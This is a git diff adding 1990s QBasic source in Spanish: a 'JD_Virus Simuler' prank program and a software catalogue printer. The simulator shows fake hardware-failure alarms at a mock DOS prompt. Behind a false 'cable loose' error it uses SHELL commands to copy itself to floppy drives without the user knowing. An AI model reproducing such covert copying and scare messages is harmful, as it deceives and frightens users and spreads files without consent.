+ + SELECT CASE Kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = CurrChoice + + EXIT FUNCTION + + +MenuEnter: + finished = TRUE + RETURN + +MenuEscape: + CurrChoice = 0 + finished = TRUE + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + CurrChoice = (CurrChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + + IF BarMode THEN + CurrChoice = (CurrChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + + CurrChoice = -2 + + + + + + finished = TRUE + END IF + RETURN + +MenuRight: + IF BarMode THEN + CurrChoice = (CurrChoice) MOD MaxChoice + 1 + ELSE + CurrChoice = -3 + finished = TRUE + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = TRUE + ELSE + CurrChoice = (CurrChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(CurrChoice), ItemCol(CurrChoice) + PRINT choice$(CurrChoice); + PrintHelpLine help$(CurrChoice) + RETURN + +MenuGetKey: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(CurrChoice), ItemCol(CurrChoice) + PRINT choice$(CurrChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + DIM choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + choice = 1 + finished = FALSE + + WHILE NOT finished + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE choice + + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemColors + CASE 3: GOSUB MenuSystemCredits + + END SELECT + + + SELECT CASE SubChoice + + CASE -2 + IF choice = 1 THEN choice = 3 + IF choice = 2 THEN choice = 1 + IF choice = 3 THEN choice = 2 + + 'choice = (SubChoice + 1) MOD 4 + 1 + + CASE -3 + choice = (choice) MOD 4 + 1 + + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 9, 19, 14, 61 + Center 11, "Use las teclas de direcci¢n para el men£" + Center 12, "Presione Entrar para elegir elemento" + + choice$(1) = " Archivo " + choice$(2) = " Colores " + choice$(3) = " Creditos " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 11 + menuRow(3) = 1: menuCol(3) = 67 + + help$(1) = "Modificar Mensajes / Salir" + help$(2) = "Fijar color en pantalla" + help$(3) = "Creditos del Modificador Simuler" + + DO + NewChoice = Menu((choice), 3, choice$(), menuRow(), menuCol(), help$(), TRUE) + LOOP WHILE NewChoice = 0 + choice = NewChoice + RETURN + +MenuSystemFile: + + choice$(1) = " Modificar Mens." + choice$(2) = " A¤adir Return's" + choice$(3) = " Simulador " + choice$(4) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + menuRow(4) = 6: menuCol(4) = 2 + + help$(1) = "Modificar Mensajes de JD_Virus Simuler" + help$(2) = "A¤adir Retornos Magicos (Bad Return!!)" + help$(3) = "Simulador del JD_Virus" + help$(4) = "Salir de JD_Virus Modificador" + + SubChoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), FALSE) + + SELECT CASE SubChoice + CASE 1: EditAccounts + CASE 3: Simulador + CASE 2: BackSpace + CASE 4: finished = TRUE + CASE ELSE + END SELECT + RETURN + + +MenuSystemColors: + choice$(1) = " Monocrom tico " + choice$(2) = " Cyan/Azul " + choice$(3) = " Azul/Cyan " + choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 11 + menuRow(2) = 4: menuCol(2) = 11 + menuRow(3) = 5: menuCol(3) = 11 + menuRow(4) = 6: menuCol(4) = 11 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +MenuSystemCredits: + choice$(1) = " Creditos " + + menuRow(1) = 3: menuCol(1) = 67 + + help$(1) = "Creditos del JD_Virus Modificador" + + SubChoice = Menu(1, 1, choice$(), menuRow(), menuCol(), help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 + box 9, 19, 14, 63 + Center 10, "JD_Virus Simuler Modificador por Jos‚ David" + Center 11, "Gracias especiales a Sol Negro, quien" + Center 12, "me suguirio esta idea." + SLEEP + + CASE ELSE + END SELECT + RETURN + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + Center 25, help$ +END SUB + +'SaveState: +' Save color preference and account information to "M_VIR.INI" data file. +SUB SaveState + OPEN "M_VIR.INI" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + CLOSE #2 +END SUB + +SUB Simulador +COLOR 15, 0 +CLS +PRINT " Para salir Teclee JD_EXIT" + + '***** simulador ***** +REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19), Erp$(4) +DIM Accion(25), Reinicio(25), TiemDur(25), MenPod$(25) + +RANDOMIZE TIMER + +PRINT +row% = CSRLIN - 1 +hud = 80 +old$ = TIME$ + + + + + OPEN "Crack.dat" FOR RANDOM AS #2 LEN = 58 + FIELD #2, 2 AS IoA$, 2 AS IoR$, 1 AS IoT$, 50 AS IoMen$ + FIELD #2, 1 AS valid$, 2 AS IoMaxRecord$ + GET #2, 39 + kies = VAL(IoMaxRecord$) + ema = 1 + IF valid$ = "*" THEN + DO WHILE ema <= kies + GET #2, ema + 1 + 39 + Accion(ema) = VAL(IoA$) + Reinicio(ema) = VAL(IoR$) + TiemDur(ema) = VAL(IoT$) + MenPod$(ema) = IoMen$ + ema = ema + 1 + LOOP + END IF +CLOSE #2 + +RetVacio = -5 + + +Simulador: + +row% = row% + 1 +a$ = "" +hud = hud + 1 + + +IF RetVacio >= 100 THEN RetVacio = -10 +busqueda = 1: BusquedaForzada = 0 + +rqow% = CSRLIN +rQlin% = POS(1) +LOCATE 1, 1: PRINT RetVacio +LOCATE rqow%, rQlin% + + +DO WHILE busqueda <= kies + + +IF Reinicio(busqueda) = RetVacio THEN + IF Accion(busqueda) = 0 THEN + FOR tiemdedur = 1 TO TiemDur(busqueda) + PRINT : PRINT MenPod$(busqueda): PRINT + NEXT + RetVacio = RetVacio + 1 + IF RetVacio = 25 THEN RetVacio = -10 + GOTO Simulador + END IF + + IF Accion(busqueda) >= 1 AND Accion(busqueda) <= 19 THEN + + ra = Accion(busqueda) + RetVacio = RetVacio + 1 + IF RetVacio = 99 THEN RetVacio = -10 + BusquedaForzada = 1 + GOTO BusquedaForzadaA + BusquedaForzada = 0 + END IF + + IF Accion(busqueda) >= 20 AND Accion(busqueda) <= 30 THEN + IF Accion(busqueda) = 20 THEN + FOR tiemdedur = 1 TO TiemDur(busqueda) + + DO WHILE kdb$ = "" OR kdb$ = CHR$(13): kdb$ = INKEY$: LOOP + DO + kdb$ = "" + DO WHILE kdb$ = "": kdb$ = INKEY$: LOOP + col1 = INT(RND * 79) + 1 + lin1 = INT(RND * 22) + 1 + LOCATE lin1, col1: PRINT kdb$ + LOOP WHILE kdb$ <> CHR$(13) + NEXT + RetVacio = RetVacio + 1 + IF RetVacio = 25 THEN RetVacio = -10 + GOTO Simulador + END IF + + IF Accion(busqueda) = 21 THEN + + LISTEN$ = "T180 o2 P2 P8 L8 GGG L2 E-": FATE$ = "P24 P8 L8 FFF L2 D": PLAY LISTEN$ + FATE$ + Erp$(1) = " ALERTA ALERTA ALERTA ALERTA ALERTA " + Erp$(2) = " El ordenador esta siendo usado sin permiso, y el disco duro se ha saltado" + Erp$(3) = " un BIT, ha acelerado y le ha estallado un cilindro, la pista esta escarchada" + Erp$(4) = " SYSTEM ERROR INT 24 ____ CABEZAS FRENANDO DISCO DURO ______" + FOR tiemdedur = 1 TO TiemDur(busqueda) + PRINT + FOR proe = 1 TO 4 + PRINT + FOR wetewr = 1 TO 80 + PRINT MID$(Erp$(proe), wetewr, 1); + + NEXT + NEXT + NEXT + PLAY "MBO0L32EFGEFDCEFGEFDCMBO0L32MBO0L32MBO0L32EFGEFDCEFGEFDCMBO0L32" + RetVacio = RetVacio + 1 + IF RetVacio = 25 THEN RetVacio = -10 + GOTO Simulador + END IF + + + END IF +END IF +busqueda = busqueda + 1 +LOOP + +IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ +PRINT +promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">" +'PRINT promt$: +Kbd$ = GetString2$(promt$, end$, 80, 80, LEN(promt$), col%) +IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN EXIT SUB + +a$ = end$ + +IF RTRIM$(LTRIM$(a$)) = "" THEN + RetVacio = RetVacio + 1: GOTO Simulador +END IF + +IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT "Comando o nombre de archivo incorrecto": GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN + IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador + con = 0: L = 0: lug = 0: p = 0 + DO + con = con + 1 + L = L - 1 + IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador + IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) + LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) + IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador +END IF + + +IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador +END IF + +IF LEFT$(UCASE$(a$), 2) = "CD" THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador + +END IF + +'******************************************** +'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA +'******************************************** +RESTORE +b$ = "" +w$ = UCASE$(LTRIM$(RTRIM$(a$))) +RESTORE datas + +WHILE b$ <> "*" +READ b$, wqw$ +IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO Accion +WEND + + + a = 1: b = 0 + + DO WHILE b <= LEN(w$) + 1 + b = b + 1 + IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO + LOOP + valor = 0 + q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0 + pal$ = w$ + +BusquedaForzadaA: + + OPEN "crack.dat" FOR RANDOM AS #1 LEN = 113 + FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ = "*" THEN + MaxRecord = VAL(IoMaxRecord$) + + IF BusquedaForzada <> 1 THEN ra = 1 + + DO WHILE ra <= MaxRecord + + GET #1, ra + 1 + Curr$ = IoDate$ + One$ = IoRef$ + Two$ = IoDos$ + Three$ = IoTres$ + Four$ = IoCuatro$ + Five$ = IoCinco$ + IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) OR BusquedaForzada = 1 THEN + IF BusquedaForzada = 1 THEN PRINT RTRIM$(LTRIM$(UCASE$(Curr$))) + + IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$; + + IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1 + IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : q = 1 + IF q1 = 0 THEN PRINT Two$ + + IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1 + IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1 + IF q2 = 0 THEN PRINT Three$ + + IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1 + IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18); + IF q3 = 0 THEN PRINT Four$ + + IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1 + IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18); + IF q4 = 0 THEN PRINT Five$ + + valor = 1 + EXIT DO + END IF + ra = ra + 1 + LOOP + END IF +CLOSE + + IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto" + +GOTO Simulador + + +Accion: +SELECT CASE VAL(wqw$) + CASE 1 + PRINT : PRINT + PRINT " Volumen en unidad C no tiene etiqueta" + PRINT " N£mero de serie de volumen es 1138-1600" + PRINT + PRINT " Directorio de C:\" + ch$ + PRINT + PRINT "Archivo no se encontr¢" + PRINT + GOTO Simulador + + CASE 2 + + PRINT : PRINT "Imposible acceder a unidad requerida" + GOTO Simulador + CASE 3 + CLS + row% = 2 + PRINT + GOTO Simulador + + CASE 4 + PRINT : PRINT "Fichero no encontrado" + GOTO Simulador + + CASE 5 + COLOR 6 + PRINT : PRINT "Virus-Simuler por JD" + COLOR 7 + GOTO Simulador + + CASE 6 + PRINT : PRINT TIME$: GOTO Simulador + + CASE 7 + PRINT : PRINT DATE$: GOTO Simulador + CASE 8 + IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad A, suelto" + veza = 1 + + GOTO Simulador + CASE 9 + IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad B, suelto" + vezb = 1 + GOTO Simulador +END SELECT +PRINT wqw$ +GOTO Simulador + +END SUB + diff --git a/BAS/PRECATA2.BAS b/BAS/PRECATA2.BAS new file mode 100644 index 0000000..8c48050 --- /dev/null +++ b/BAS/PRECATA2.BAS @@ -0,0 +1,545 @@ +principiodelprincipio: +REM Versi¢n 3.0 en Qbasic de Catalogo (c) +KEY OFF +pp: +CLEAR +ON ERROR GOTO corrector +DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50) +KEY(1) ON +KEY(2) ON +ON KEY(1) GOSUB help +ON KEY(2) GOSUB finp +CLS +GOSUB menu1 +GOSUB cargachar +COLOR 1, 7 +l = 1 +GOSUB secuencia + +espera: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera3: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera3 +IF I$ = CHR$(13) THEN GOTO ejecuta +IF I$ = CHR$(27) THEN GOSUB help +GOTO espera3 + +sube: +ant = l +IF l = 1 THEN l = 11 ELSE l = l - 1 +GOSUB secuencia +RETURN + +baja: +ant = l +IF l = 12 THEN l = 1 ELSE l = l + 1 +GOSUB secuencia +RETURN + +secuencia: +IF l = -1 THEN l = 11 +IF l = 12 THEN l = 1 +IF ant = 0 THEN ant = 1 +COLOR 7, 1, 1 +LOCATE 2 * ant, 2: PRINT lot$(ant) +COLOR 1, 7 +LOCATE 2 * l, 2: PRINT lec$(l): RETURN +END + +ejecuta: +KEY(11) OFF +KEY(14) OFF +COLOR 7, 1, 1 +IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm +END + +lp: +f = l +IF f = 10 THEN f = 0 +GOSUB tipodeficha +REM LISTA DE PROGRAMAS +IF Tf$ = "0" THEN arc$ = "copy-1.dat" +OPEN "R", #1, arc$, 14 +contador = 13: COLUMNA = 34 +FOR A = 1 TO LOF(1) / 14 + 1 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1, A +IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua +imprime: +COLOR 12, 1, 1 +LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$ +contador = contador + 1 +IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre +IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13 +continua: +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "PULSE UNA TECLA" +COLOR 15, 1, 1 +LOCATE 5, 60: PRINT "Para ir al MENé " +p: +IF INKEY$ = "" THEN GOTO p +COLOR 7, 1, 1 +FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr +LOCATE 4, 60: PRINT " F1 HELP " +LOCATE 5, 60: PRINT " F2 Exit to DOS" +GOTO espera + +contimpre: +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "Pulse una tecla" +LOCATE 5, 60: PRINT "para continuar." +COLOR 7, 1, 1 +p2: +IF INKEY$ = "" THEN GOTO p2 +LOCATE 4, 60: PRINT " " +LOCATE 5, 60: PRINT " " +contador = 13: COLUMNA = 34 +FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba +RETURN + +END + +mm: + +GOSUB menu2 +l2 = 1 +GOSUB secuencia2 +espera2: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube2 +ON KEY(14) GOSUB baja2 +espera4: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera4 +IF I$ = CHR$(13) THEN GOTO ejecuta2 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera +GOTO espera4 + +sube2: +ant2 = l2 +IF l2 = 1 THEN l2 = 3 ELSE l2 = l2 - 1 +IF ant2 = 0 THEN ant2 = 1 +GOSUB secuencia2 +RETURN + +baja2: +ant2 = l2 +IF l2 = 3 THEN l2 = 1 ELSE l2 = l2 + 1 +GOSUB secuencia2 +RETURN + +secuencia2: +IF l2 = -1 THEN l2 = 3 +IF l2 = 4 THEN l2 = 1 +COLOR 7, 1, 1 +IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2) +IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2) +IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2) +COLOR 1, 7 +IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN +IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN +IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN +END + +ejecuta2: +KEY(11) OFF +KEY(14) OFF +ON l2 GOTO il, gp, C +GOTO espera2 +END + +il: +ON ERROR GOTO corrector +REM FICHERO PARA IMPRIMIR +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." +N: +Q$ = INKEY$: IF Q$ = "" THEN GOTO N +IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas +FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT +pagina = 1 +CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20) +LPRINT "ßßÛÛÛÛÛÛßßßßßÛÛÛßßßßß" +LPRINT "ßß Ü ßßßßÜ Ûßßß" +LPRINT "ßßßßßßßÜ ßßßßÜ ßß Üßß" +LPRINT "ßßÛßßßßÜ ßßßßÜ ßßÛ ß" +LPRINT "ßßÜÜÛÛÛÜ ßßßßÜÜÛß ßß" +LPRINT "ßß ßßßß ßßßß" +LPRINT "ÛßßßßßßßßßßßßßßßßßßßÛ" +LPRINT "ÛJ.D Guill‚n s.u '92Û" +LPRINT "ßßßßßßßßßßßßßßßßßßßßß" +LPRINT "El n£mero que sigue al nombre del programa, indica" +LPRINT "la cantidad de diskettes que est‚ ocupa. Diskett de 3 «" +LPRINT "Disponible el 75% de los programas en diskettes de 5 ¬" +contador = 12 +sleep=15 +f = 1 + +nf: +' EMPIEZA LA ETAPA f=A +IF contador > 50 THEN GOSUB finlista +CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97) +IF f = 1 THEN LPRINT "JUEGOS" +IF f = 2 THEN LPRINT "MUSICA" +IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO" +IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD" +IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA" +IF f = 6 THEN LPRINT "GRAFICOS" +IF f = 7 THEN LPRINT "UTILIDADES" +IF f = 8 THEN LPRINT "COPIONES" +IF f = 9 THEN LPRINT "LENGUAJES" +IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS" +contador = contador + 2 +CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +IF f = 0 THEN arc$ = "copy-1.dat" +OPEN "R", #1, arc$, 14 +GOSUB tipodeficha +FOR A = 1 TO LOF(1) / 14 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1 +IF fichero$ <> Tf$ THEN GOTO sinsuerte +IF T$ <> " " THEN GOSUB guarda +IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1 +IF contador > 55 THEN GOSUB finlista +sinsuerte: +NEXT A +CLOSE #1 +IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$ +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +IF contador > 50 THEN GOSUB finlista +IF f <> 0 THEN f = f + 1: GOTO nf +CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33) +OPEN "r", #1, "MENSAJES", 30 +FOR A = 1 TO 5 +FIELD #1, 30 AS MENSAJE$ +GET #1 +LPRINT TAB(5); MENSAJE$ +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Lista terminada..." +LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU" +d: +IF INKEY$ = "" THEN GOTO d +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +GOTO subbrutinas + +finlista: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 15, 34: PRINT " Pulse entonces una tecla para " +LOCATE 16, 34: PRINT " continuar listando." +COLOR 7, 1, 1 +m: +IF INKEY$ = "" THEN GOTO m +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +LOCATE 16, 34: PRINT " " +CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +contador = 0: RETURN + +guarda: +G = G + 1 +IF G = 1 THEN EF$ = T$: EFD$ = DISK$ +IF G = 2 THEN EL$ = T$: ELD$ = DISK$ +IF G = 3 THEN EO$ = T$: EOD$ = DISK$ +IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea +RETURN +END + +imprimelinea: +LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$; +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +RETURN + +gp: +' GRABAR DATOS DE PEDIDOS +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES" +p4: +I$ = INKEY$ +IF I$ = "" THEN GOTO p4 +IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas +LOCATE 14, 34: PRINT "Nombre del programa/s... " +COLOR 12, 1, 1 +PL = 15: TCOL = 34 +FOR zA = 1 TO 21 +PL = PL + 1 +COLOR 12, 1, 1 +lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$ +IF PL = 22 THEN PL = 15: TCOL = TCOL + 13 +CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont +NEXT zA +cont: +COLOR 14, 1, 1 +LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: " +LOCATE 14, 34: PRINT " " +COLOR 15, 1, 1 +lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$ +fil$ = nombre$ + ".JD" + +OPEN "R", #2, "commun_d.jd", 8 +FIELD #2, 8 AS nom$ +LSET nom$ = nombre$ +PUT #2, LOF(2) / 8 + 1 +CLOSE #2 + +OPEN "R", #1, fil$, 10 +FOR b = 1 TO CREO + 1 +FIELD #1, 10 AS tele$ +LSET tele$ = A$(b) +PUT #1, LOF(1) / 10 + 1 +NEXT b +CLOSE #1 +FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT +GOTO subbrutinas +END + +C: +COLOR 7, 1, 1 +LOCATE 3, 49: PRINT "Creditos " +LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 " +LOCATE 16, 33: PRINT " Pantallas y programa ... " +COLOR 12 +LOCATE 18, 33: PRINT " Jos‚ David Guill‚n " +LOCATE 19, 33: PRINT " Tlf. 561-XX-XX " +COLOR 7, 1, 1 +LOCATE 21, 33: PRINT " 1993, 1§BTI " +pause: +IF INKEY$ = "" THEN GOTO pause +FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q +GOTO subbrutinas + +subbrutinas: +GOSUB secuencia +GOSUB menu2 +GOSUB secuencia2 +GOTO espera2 +END + + + + +menu1: +COLOR 7, 1, 1 +CLS +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ßßßßßßßÛ ÛßßÜ ³ø ø³ "; +PRINT "³ Juegos ³± Û Û ßÜ ³ø Catalogo v3.0 ø³ "; +PRINT "³ ³± Û Û ßÜ ³ø ø³ "; +PRINT "³ Musica ³± Û Û Û ³ø F1 Help ø³ "; +PRINT "³ ³± Û Û Û Üß ³ø F2 Exit to DOS ø³ "; +PRINT "³ Procesadores de textos ³± Û Û Û Üß Ü³ø ø³Ü "; +PRINT "³ ³± ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ"; +PRINT "³ Pgr. Contabilidad 